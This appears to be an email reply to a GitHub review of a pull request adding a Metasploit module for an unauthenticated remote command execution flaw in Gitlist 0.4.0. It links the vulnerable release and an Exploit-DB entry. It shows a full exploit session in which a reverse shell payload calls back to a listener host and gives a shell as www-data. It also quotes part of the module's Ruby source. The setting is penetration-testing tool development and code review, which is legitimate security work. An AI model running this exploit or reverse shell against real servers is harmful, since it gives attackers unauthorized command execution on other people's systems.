Gitlist 0.4.0 Unauthenticated RCE

You can get the vulnerable version here: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz

Exploit-DB: http://www.exploit-db.com/exploits/33929/

```
msf exploit(gitlist_exec) > show options

Module options (exploit/linux/http/gitlist_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.17     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /gitlist/        yes       The URI od the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.31     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(gitlist_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DeVoMBnLnS3Tckfm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "DeVoMBnLnS3Tckfm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.17:32876) at 2014-06-30 20:13:14 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Whoops!


On Thu, Jul 3, 2014 at 12:39 PM, Juan Vazquez <notifications@github.com>
wrote:

> In modules/exploits/linux/http/gitlist_exec.rb:
>
> > +require 'msf/core'
> > +
> > +class Metasploit3 < Msf::Exploit::Remote
> > +  Rank = ExcellentRanking
> > +
> > +  include Msf::Exploit::Remote::HttpClient
> > +
> > +  def initialize(info = {})
> > +    super(update_info(info,
> > +      'Name'           => 'Gitlist Unauthenticated Command Execution',
> > +      'Description'    => %q{
> > +      This module exploits an unauthenticated remote command execution vulnerability
> > +      in version 0.4.0 of Gitlist.
> > +      },
> > +      'License'        => MSF_LICENSE,
> > +      'Privileged'     => true,
>
> 'Privileged' should be set on true only on exploits providing root
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/rapid7/metasploit-framework/pull/3485/files#r14527480>
> .
>



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website